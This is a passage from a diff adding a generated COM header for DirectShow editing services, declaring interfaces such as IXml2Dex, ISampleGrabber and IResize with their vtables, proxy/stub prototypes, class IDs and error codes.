IXml2Dex_PasteXMLFile_Proxy( + IXml2Dex * This, + IUnknown *pTimeline, + double dStart, + BSTR FileName); + + +void __RPC_STUB IXml2Dex_PasteXMLFile_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IXml2Dex_CopyXML_Proxy( + IXml2Dex * This, + IUnknown *pTimeline, + double dStart, + double dEnd); + + +void __RPC_STUB IXml2Dex_CopyXML_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IXml2Dex_PasteXML_Proxy( + IXml2Dex * This, + IUnknown *pTimeline, + double dStart); + + +void __RPC_STUB IXml2Dex_PasteXML_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IXml2Dex_Reset_Proxy( + IXml2Dex * This); + + +void __RPC_STUB IXml2Dex_Reset_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IXml2Dex_ReadXML_Proxy( + IXml2Dex * This, + IUnknown *pTimeline, + IUnknown *pXML); + + +void __RPC_STUB IXml2Dex_ReadXML_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][id] */ HRESULT STDMETHODCALLTYPE IXml2Dex_WriteXML_Proxy( + IXml2Dex * This, + IUnknown *pTimeline, + BSTR *pbstrXML); + + +void __RPC_STUB IXml2Dex_WriteXML_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IXml2Dex_INTERFACE_DEFINED__ */ + + +#ifndef __IAMErrorLog_INTERFACE_DEFINED__ +#define __IAMErrorLog_INTERFACE_DEFINED__ + +/* interface IAMErrorLog */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IAMErrorLog; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("E43E73A2-0EFA-11d3-9601-00A0C9441E20") + IAMErrorLog : public IUnknown + { + public: + virtual /* [helpstring] */ HRESULT STDMETHODCALLTYPE LogError( + long Severity, + BSTR pErrorString, + long ErrorCode, + long hresult, + /* [in] */ VARIANT *pExtraInfo) = 0; + + }; + +#else /* C style interface */ + + typedef struct IAMErrorLogVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IAMErrorLog * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IAMErrorLog * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IAMErrorLog * This); + + /* [helpstring] */ HRESULT ( STDMETHODCALLTYPE *LogError )( + IAMErrorLog * This, + long Severity, + BSTR pErrorString, + long ErrorCode, + long hresult, + /* [in] */ VARIANT *pExtraInfo); + + END_INTERFACE + } IAMErrorLogVtbl; + + interface IAMErrorLog + { + CONST_VTBL struct IAMErrorLogVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IAMErrorLog_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IAMErrorLog_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IAMErrorLog_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IAMErrorLog_LogError(This,Severity,pErrorString,ErrorCode,hresult,pExtraInfo) \ + (This)->lpVtbl -> LogError(This,Severity,pErrorString,ErrorCode,hresult,pExtraInfo) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring] */ HRESULT STDMETHODCALLTYPE IAMErrorLog_LogError_Proxy( + IAMErrorLog * This, + long Severity, + BSTR pErrorString, + long ErrorCode, + long hresult, + /* [in] */ VARIANT *pExtraInfo); + + +void __RPC_STUB IAMErrorLog_LogError_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IAMErrorLog_INTERFACE_DEFINED__ */ + + +#ifndef __IAMSetErrorLog_INTERFACE_DEFINED__ +#define __IAMSetErrorLog_INTERFACE_DEFINED__ + +/* interface IAMSetErrorLog */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IAMSetErrorLog; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("963566DA-BE21-4eaf-88E9-35704F8F52A1") + IAMSetErrorLog : public IUnknown + { + public: + virtual /* [helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_ErrorLog( + /* [retval][out] */ IAMErrorLog **pVal) = 0; + + virtual /* [helpstring][propput] */ HRESULT STDMETHODCALLTYPE put_ErrorLog( + /* [in] */ IAMErrorLog *newVal) = 0; + + }; + +#else /* C style interface */ + + typedef struct IAMSetErrorLogVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IAMSetErrorLog * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IAMSetErrorLog * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IAMSetErrorLog * This); + + /* [helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ErrorLog )( + IAMSetErrorLog * This, + /* [retval][out] */ IAMErrorLog **pVal); + + /* [helpstring][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ErrorLog )( + IAMSetErrorLog * This, + /* [in] */ IAMErrorLog *newVal); + + END_INTERFACE + } IAMSetErrorLogVtbl; + + interface IAMSetErrorLog + { + CONST_VTBL struct IAMSetErrorLogVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IAMSetErrorLog_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IAMSetErrorLog_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IAMSetErrorLog_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IAMSetErrorLog_get_ErrorLog(This,pVal) \ + (This)->lpVtbl -> get_ErrorLog(This,pVal) + +#define IAMSetErrorLog_put_ErrorLog(This,newVal) \ + (This)->lpVtbl -> put_ErrorLog(This,newVal) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +/* [helpstring][propget] */ HRESULT STDMETHODCALLTYPE IAMSetErrorLog_get_ErrorLog_Proxy( + IAMSetErrorLog * This, + /* [retval][out] */ IAMErrorLog **pVal); + + +void __RPC_STUB IAMSetErrorLog_get_ErrorLog_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +/* [helpstring][propput] */ HRESULT STDMETHODCALLTYPE IAMSetErrorLog_put_ErrorLog_Proxy( + IAMSetErrorLog * This, + /* [in] */ IAMErrorLog *newVal); + + +void __RPC_STUB IAMSetErrorLog_put_ErrorLog_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IAMSetErrorLog_INTERFACE_DEFINED__ */ + + +#ifndef __ISampleGrabberCB_INTERFACE_DEFINED__ +#define __ISampleGrabberCB_INTERFACE_DEFINED__ + +/* interface ISampleGrabberCB */ +/* [unique][helpstring][local][uuid][object] */ + + +EXTERN_C const IID IID_ISampleGrabberCB; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("0579154A-2B53-4994-B0D0-E773148EFF85") + ISampleGrabberCB : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE SampleCB( + double SampleTime, + IMediaSample *pSample) = 0; + + virtual HRESULT STDMETHODCALLTYPE BufferCB( + double SampleTime, + BYTE *pBuffer, + long BufferLen) = 0; + + }; + +#else /* C style interface */ + + typedef struct ISampleGrabberCBVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + ISampleGrabberCB * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + ISampleGrabberCB * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + ISampleGrabberCB * This); + + HRESULT ( STDMETHODCALLTYPE *SampleCB )( + ISampleGrabberCB * This, + double SampleTime, + IMediaSample *pSample); + + HRESULT ( STDMETHODCALLTYPE *BufferCB )( + ISampleGrabberCB * This, + double SampleTime, + BYTE *pBuffer, + long BufferLen); + + END_INTERFACE + } ISampleGrabberCBVtbl; + + interface ISampleGrabberCB + { + CONST_VTBL struct ISampleGrabberCBVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define ISampleGrabberCB_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define ISampleGrabberCB_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define ISampleGrabberCB_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define ISampleGrabberCB_SampleCB(This,SampleTime,pSample) \ + (This)->lpVtbl -> SampleCB(This,SampleTime,pSample) + +#define ISampleGrabberCB_BufferCB(This,SampleTime,pBuffer,BufferLen) \ + (This)->lpVtbl -> BufferCB(This,SampleTime,pBuffer,BufferLen) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE ISampleGrabberCB_SampleCB_Proxy( + ISampleGrabberCB * This, + double SampleTime, + IMediaSample *pSample); + + +void __RPC_STUB ISampleGrabberCB_SampleCB_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE ISampleGrabberCB_BufferCB_Proxy( + ISampleGrabberCB * This, + double SampleTime, + BYTE *pBuffer, + long BufferLen); + + +void __RPC_STUB ISampleGrabberCB_BufferCB_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __ISampleGrabberCB_INTERFACE_DEFINED__ */ + + +#ifndef __ISampleGrabber_INTERFACE_DEFINED__ +#define __ISampleGrabber_INTERFACE_DEFINED__ + +/* interface ISampleGrabber */ +/* [unique][helpstring][local][uuid][object] */ + + +EXTERN_C const IID IID_ISampleGrabber; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("6B652FFF-11FE-4fce-92AD-0266B5D7C78F") + ISampleGrabber : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE SetOneShot( + BOOL OneShot) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetMediaType( + const AM_MEDIA_TYPE *pType) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetConnectedMediaType( + AM_MEDIA_TYPE *pType) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetBufferSamples( + BOOL BufferThem) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetCurrentBuffer( + /* [out][in] */ long *pBufferSize, + /* [out] */ long *pBuffer) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetCurrentSample( + /* [retval][out] */ IMediaSample **ppSample) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetCallback( + ISampleGrabberCB *pCallback, + long WhichMethodToCallback) = 0; + + }; + +#else /* C style interface */ + + typedef struct ISampleGrabberVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + ISampleGrabber * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + ISampleGrabber * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + ISampleGrabber * This); + + HRESULT ( STDMETHODCALLTYPE *SetOneShot )( + ISampleGrabber * This, + BOOL OneShot); + + HRESULT ( STDMETHODCALLTYPE *SetMediaType )( + ISampleGrabber * This, + const AM_MEDIA_TYPE *pType); + + HRESULT ( STDMETHODCALLTYPE *GetConnectedMediaType )( + ISampleGrabber * This, + AM_MEDIA_TYPE *pType); + + HRESULT ( STDMETHODCALLTYPE *SetBufferSamples )( + ISampleGrabber * This, + BOOL BufferThem); + + HRESULT ( STDMETHODCALLTYPE *GetCurrentBuffer )( + ISampleGrabber * This, + /* [out][in] */ long *pBufferSize, + /* [out] */ long *pBuffer); + + HRESULT ( STDMETHODCALLTYPE *GetCurrentSample )( + ISampleGrabber * This, + /* [retval][out] */ IMediaSample **ppSample); + + HRESULT ( STDMETHODCALLTYPE *SetCallback )( + ISampleGrabber * This, + ISampleGrabberCB *pCallback, + long WhichMethodToCallback); + + END_INTERFACE + } ISampleGrabberVtbl; + + interface ISampleGrabber + { + CONST_VTBL struct ISampleGrabberVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define ISampleGrabber_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define ISampleGrabber_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define ISampleGrabber_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define ISampleGrabber_SetOneShot(This,OneShot) \ + (This)->lpVtbl -> SetOneShot(This,OneShot) + +#define ISampleGrabber_SetMediaType(This,pType) \ + (This)->lpVtbl -> SetMediaType(This,pType) + +#define ISampleGrabber_GetConnectedMediaType(This,pType) \ + (This)->lpVtbl -> GetConnectedMediaType(This,pType) + +#define ISampleGrabber_SetBufferSamples(This,BufferThem) \ + (This)->lpVtbl -> SetBufferSamples(This,BufferThem) + +#define ISampleGrabber_GetCurrentBuffer(This,pBufferSize,pBuffer) \ + (This)->lpVtbl -> GetCurrentBuffer(This,pBufferSize,pBuffer) + +#define ISampleGrabber_GetCurrentSample(This,ppSample) \ + (This)->lpVtbl -> GetCurrentSample(This,ppSample) + +#define ISampleGrabber_SetCallback(This,pCallback,WhichMethodToCallback) \ + (This)->lpVtbl -> SetCallback(This,pCallback,WhichMethodToCallback) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE ISampleGrabber_SetOneShot_Proxy( + ISampleGrabber * This, + BOOL OneShot); + + +void __RPC_STUB ISampleGrabber_SetOneShot_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE ISampleGrabber_SetMediaType_Proxy( + ISampleGrabber * This, + const AM_MEDIA_TYPE *pType); + + +void __RPC_STUB ISampleGrabber_SetMediaType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE ISampleGrabber_GetConnectedMediaType_Proxy( + ISampleGrabber * This, + AM_MEDIA_TYPE *pType); + + +void __RPC_STUB ISampleGrabber_GetConnectedMediaType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE ISampleGrabber_SetBufferSamples_Proxy( + ISampleGrabber * This, + BOOL BufferThem); + + +void __RPC_STUB ISampleGrabber_SetBufferSamples_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE ISampleGrabber_GetCurrentBuffer_Proxy( + ISampleGrabber * This, + /* [out][in] */ long *pBufferSize, + /* [out] */ long *pBuffer); + + +void __RPC_STUB ISampleGrabber_GetCurrentBuffer_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE ISampleGrabber_GetCurrentSample_Proxy( + ISampleGrabber * This, + /* [retval][out] */ IMediaSample **ppSample); + + +void __RPC_STUB ISampleGrabber_GetCurrentSample_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE ISampleGrabber_SetCallback_Proxy( + ISampleGrabber * This, + ISampleGrabberCB *pCallback, + long WhichMethodToCallback); + + +void __RPC_STUB ISampleGrabber_SetCallback_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __ISampleGrabber_INTERFACE_DEFINED__ */ + + + +#ifndef __DexterLib_LIBRARY_DEFINED__ +#define __DexterLib_LIBRARY_DEFINED__ + +/* library DexterLib */ +/* [helpstring][version][uuid] */ + + +EXTERN_C const IID LIBID_DexterLib; + +#ifndef __IResize_INTERFACE_DEFINED__ +#define __IResize_INTERFACE_DEFINED__ + +/* interface IResize */ +/* [unique][helpstring][uuid][object] */ + + +EXTERN_C const IID IID_IResize; + +#if defined(__cplusplus) && !defined(CINTERFACE) + + MIDL_INTERFACE("4ada63a0-72d5-11d2-952a-0060081840bc") + IResize : public IUnknown + { + public: + virtual HRESULT STDMETHODCALLTYPE get_Size( + /* [out] */ int *piHeight, + /* [out] */ int *piWidth, + /* [out] */ long *pFlag) = 0; + + virtual HRESULT STDMETHODCALLTYPE get_InputSize( + /* [out] */ int *piHeight, + /* [out] */ int *piWidth) = 0; + + virtual HRESULT STDMETHODCALLTYPE put_Size( + /* [in] */ int Height, + /* [in] */ int Width, + /* [in] */ long Flag) = 0; + + virtual HRESULT STDMETHODCALLTYPE get_MediaType( + /* [out] */ AM_MEDIA_TYPE *pmt) = 0; + + virtual HRESULT STDMETHODCALLTYPE put_MediaType( + /* [in] */ const AM_MEDIA_TYPE *pmt) = 0; + + }; + +#else /* C style interface */ + + typedef struct IResizeVtbl + { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IResize * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IResize * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IResize * This); + + HRESULT ( STDMETHODCALLTYPE *get_Size )( + IResize * This, + /* [out] */ int *piHeight, + /* [out] */ int *piWidth, + /* [out] */ long *pFlag); + + HRESULT ( STDMETHODCALLTYPE *get_InputSize )( + IResize * This, + /* [out] */ int *piHeight, + /* [out] */ int *piWidth); + + HRESULT ( STDMETHODCALLTYPE *put_Size )( + IResize * This, + /* [in] */ int Height, + /* [in] */ int Width, + /* [in] */ long Flag); + + HRESULT ( STDMETHODCALLTYPE *get_MediaType )( + IResize * This, + /* [out] */ AM_MEDIA_TYPE *pmt); + + HRESULT ( STDMETHODCALLTYPE *put_MediaType )( + IResize * This, + /* [in] */ const AM_MEDIA_TYPE *pmt); + + END_INTERFACE + } IResizeVtbl; + + interface IResize + { + CONST_VTBL struct IResizeVtbl *lpVtbl; + }; + + + +#ifdef COBJMACROS + + +#define IResize_QueryInterface(This,riid,ppvObject) \ + (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) + +#define IResize_AddRef(This) \ + (This)->lpVtbl -> AddRef(This) + +#define IResize_Release(This) \ + (This)->lpVtbl -> Release(This) + + +#define IResize_get_Size(This,piHeight,piWidth,pFlag) \ + (This)->lpVtbl -> get_Size(This,piHeight,piWidth,pFlag) + +#define IResize_get_InputSize(This,piHeight,piWidth) \ + (This)->lpVtbl -> get_InputSize(This,piHeight,piWidth) + +#define IResize_put_Size(This,Height,Width,Flag) \ + (This)->lpVtbl -> put_Size(This,Height,Width,Flag) + +#define IResize_get_MediaType(This,pmt) \ + (This)->lpVtbl -> get_MediaType(This,pmt) + +#define IResize_put_MediaType(This,pmt) \ + (This)->lpVtbl -> put_MediaType(This,pmt) + +#endif /* COBJMACROS */ + + +#endif /* C style interface */ + + + +HRESULT STDMETHODCALLTYPE IResize_get_Size_Proxy( + IResize * This, + /* [out] */ int *piHeight, + /* [out] */ int *piWidth, + /* [out] */ long *pFlag); + + +void __RPC_STUB IResize_get_Size_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IResize_get_InputSize_Proxy( + IResize * This, + /* [out] */ int *piHeight, + /* [out] */ int *piWidth); + + +void __RPC_STUB IResize_get_InputSize_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IResize_put_Size_Proxy( + IResize * This, + /* [in] */ int Height, + /* [in] */ int Width, + /* [in] */ long Flag); + + +void __RPC_STUB IResize_put_Size_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IResize_get_MediaType_Proxy( + IResize * This, + /* [out] */ AM_MEDIA_TYPE *pmt); + + +void __RPC_STUB IResize_get_MediaType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + +HRESULT STDMETHODCALLTYPE IResize_put_MediaType_Proxy( + IResize * This, + /* [in] */ const AM_MEDIA_TYPE *pmt); + + +void __RPC_STUB IResize_put_MediaType_Stub( + IRpcStubBuffer *This, + IRpcChannelBuffer *_pRpcChannelBuffer, + PRPC_MESSAGE _pRpcMessage, + DWORD *_pdwStubPhase); + + + +#endif /* __IResize_INTERFACE_DEFINED__ */ + + +EXTERN_C const CLSID CLSID_AMTimeline; + +#ifdef __cplusplus + +class DECLSPEC_UUID("78530B75-61F9-11D2-8CAD-00A024580902") +AMTimeline; +#endif + +EXTERN_C const CLSID CLSID_AMTimelineObj; + +#ifdef __cplusplus + +class DECLSPEC_UUID("78530B78-61F9-11D2-8CAD-00A024580902") +AMTimelineObj; +#endif + +EXTERN_C const CLSID CLSID_AMTimelineSrc; + +#ifdef __cplusplus + +class DECLSPEC_UUID("78530B7A-61F9-11D2-8CAD-00A024580902") +AMTimelineSrc; +#endif + +EXTERN_C const CLSID CLSID_AMTimelineTrack; + +#ifdef __cplusplus + +class DECLSPEC_UUID("8F6C3C50-897B-11d2-8CFB-00A0C9441E20") +AMTimelineTrack; +#endif + +EXTERN_C const CLSID CLSID_AMTimelineComp; + +#ifdef __cplusplus + +class DECLSPEC_UUID("74D2EC80-6233-11d2-8CAD-00A024580902") +AMTimelineComp; +#endif + +EXTERN_C const CLSID CLSID_AMTimelineGroup; + +#ifdef __cplusplus + +class DECLSPEC_UUID("F6D371E1-B8A6-11d2-8023-00C0DF10D434") +AMTimelineGroup; +#endif + +EXTERN_C const CLSID CLSID_AMTimelineTrans; + +#ifdef __cplusplus + +class DECLSPEC_UUID("74D2EC81-6233-11d2-8CAD-00A024580902") +AMTimelineTrans; +#endif + +EXTERN_C const CLSID CLSID_AMTimelineEffect; + +#ifdef __cplusplus + +class DECLSPEC_UUID("74D2EC82-6233-11d2-8CAD-00A024580902") +AMTimelineEffect; +#endif + +EXTERN_C const CLSID CLSID_RenderEngine; + +#ifdef __cplusplus + +class DECLSPEC_UUID("64D8A8E0-80A2-11d2-8CF3-00A0C9441E20") +RenderEngine; +#endif + +EXTERN_C const CLSID CLSID_SmartRenderEngine; + +#ifdef __cplusplus + +class DECLSPEC_UUID("498B0949-BBE9-4072-98BE-6CCAEB79DC6F") +SmartRenderEngine; +#endif + +EXTERN_C const CLSID CLSID_AudMixer; + +#ifdef __cplusplus + +class DECLSPEC_UUID("036A9790-C153-11d2-9EF7-006008039E37") +AudMixer; +#endif + +EXTERN_C const CLSID CLSID_Xml2Dex; + +#ifdef __cplusplus + +class DECLSPEC_UUID("18C628EE-962A-11D2-8D08-00A0C9441E20") +Xml2Dex; +#endif + +EXTERN_C const CLSID CLSID_MediaLocator; + +#ifdef __cplusplus + +class DECLSPEC_UUID("CC1101F2-79DC-11D2-8CE6-00A0C9441E20") +MediaLocator; +#endif + +EXTERN_C const CLSID CLSID_PropertySetter; + +#ifdef __cplusplus + +class DECLSPEC_UUID("ADF95821-DED7-11d2-ACBE-0080C75E246E") +PropertySetter; +#endif + +EXTERN_C const CLSID CLSID_MediaDet; + +#ifdef __cplusplus + +class DECLSPEC_UUID("65BD0711-24D2-4ff7-9324-ED2E5D3ABAFA") +MediaDet; +#endif + +EXTERN_C const CLSID CLSID_SampleGrabber; + +#ifdef __cplusplus + +class DECLSPEC_UUID("C1F400A0-3F08-11d3-9F0B-006008039E37") +SampleGrabber; +#endif + +EXTERN_C const CLSID CLSID_NullRenderer; + +#ifdef __cplusplus + +class DECLSPEC_UUID("C1F400A4-3F08-11d3-9F0B-006008039E37") +NullRenderer; +#endif + +EXTERN_C const CLSID CLSID_DxtCompositor; + +#ifdef __cplusplus + +class DECLSPEC_UUID("BB44391D-6ABD-422f-9E2E-385C9DFF51FC") +DxtCompositor; +#endif + +EXTERN_C const CLSID CLSID_DxtAlphaSetter; + +#ifdef __cplusplus + +class DECLSPEC_UUID("506D89AE-909A-44f7-9444-ABD575896E35") +DxtAlphaSetter; +#endif + +EXTERN_C const CLSID CLSID_DxtJpeg; + +#ifdef __cplusplus + +class DECLSPEC_UUID("DE75D012-7A65-11D2-8CEA-00A0C9441E20") +DxtJpeg; +#endif + +EXTERN_C const CLSID CLSID_ColorSource; + +#ifdef __cplusplus + +class DECLSPEC_UUID("0cfdd070-581a-11d2-9ee6-006008039e37") +ColorSource; +#endif + +EXTERN_C const CLSID CLSID_DxtKey; + +#ifdef __cplusplus + +class DECLSPEC_UUID("C5B19592-145E-11d3-9F04-006008039E37") +DxtKey; +#endif +#endif /* __DexterLib_LIBRARY_DEFINED__ */ + +/* interface __MIDL_itf_qedit_0484 */ +/* [local] */ + + +enum __MIDL___MIDL_itf_qedit_0484_0001 + { E_NOTINTREE = 0x80040400, + E_RENDER_ENGINE_IS_BROKEN = 0x80040401, + E_MUST_INIT_RENDERER = 0x80040402, + E_NOTDETERMINED = 0x80040403, + E_NO_TIMELINE = 0x80040404, + S_WARN_OUTPUTRESET = 40404 + } ; +#define DEX_IDS_BAD_SOURCE_NAME 1400 +#define DEX_IDS_BAD_SOURCE_NAME2 1401 +#define DEX_IDS_MISSING_SOURCE_NAME 1402 +#define DEX_IDS_UNKNOWN_SOURCE 1403 +#define DEX_IDS_INSTALL_PROBLEM 1404 +#define DEX_IDS_NO_SOURCE_NAMES 1405 +#define DEX_IDS_BAD_MEDIATYPE 1406 +#define DEX_IDS_STREAM_NUMBER 1407 +#define DEX_IDS_OUTOFMEMORY 1408 +#define DEX_IDS_DIBSEQ_NOTALLSAME 1409 +#define DEX_IDS_CLIPTOOSHORT 1410 +#define DEX_IDS_INVALID_DXT 1411 +#define DEX_IDS_INVALID_DEFAULT_DXT 1412 +#define DEX_IDS_NO_3D 1413 +#define DEX_IDS_BROKEN_DXT 1414 +#define DEX_IDS_NO_SUCH_PROPERTY 1415 +#define DEX_IDS_ILLEGAL_PROPERTY_VAL 1416 +#define DEX_IDS_INVALID_XML 1417 +#define DEX_IDS_CANT_FIND_FILTER 1418 +#define DEX_IDS_DISK_WRITE_ERROR 1419 +#define DEX_IDS_INVALID_AUDIO_FX 1420 +#define DEX_IDS_CANT_FIND_COMPRESSOR 1421 +#define DEX_IDS_TIMELINE_PARSE 1426 +#define DEX_IDS_GRAPH_ERROR 1427 +#define DEX_IDS_GRID_ERROR 1428 +#define DEX_IDS_INTERFACE_ERROR 1429 +EXTERN_GUID(CLSID_VideoEffects1Category, 0xcc7bfb42, 0xf175, 0x11d1, 0xa3, 0x92, 0x0, 0xe0, 0x29, 0x1f, 0x39, 0x59); +EXTERN_GUID(CLSID_VideoEffects2Category, 0xcc7bfb43, 0xf175, 0x11d1, 0xa3, 0x92, 0x0, 0xe0, 0x29, 0x1f, 0x39, 0x59); +EXTERN_GUID(CLSID_AudioEffects1Category, 0xcc7bfb44, 0xf175, 0x11d1, 0xa3, 0x92, 0x0, 0xe0, 0x29, 0x1f, 0x39, 0x59); +EXTERN_GUID(CLSID_AudioEffects2Category, 0xcc7bfb45, 0xf175, 0x11d1, 0xa3, 0x92, 0x0, 0xe0, 0x29, 0x1f, 0x39, 0x59); + + +extern RPC_IF_HANDLE __MIDL_itf_qedit_0484_v0_0_c_ifspec; +extern RPC_IF_HANDLE __MIDL_itf_qedit_0484_v0_0_s_ifspec; + +/* Additional Prototypes for ALL interfaces */ + +unsigned long __RPC_USER BSTR_UserSize( unsigned long *, unsigned long , BSTR * ); +unsigned char * __RPC_USER BSTR_UserMarshal( 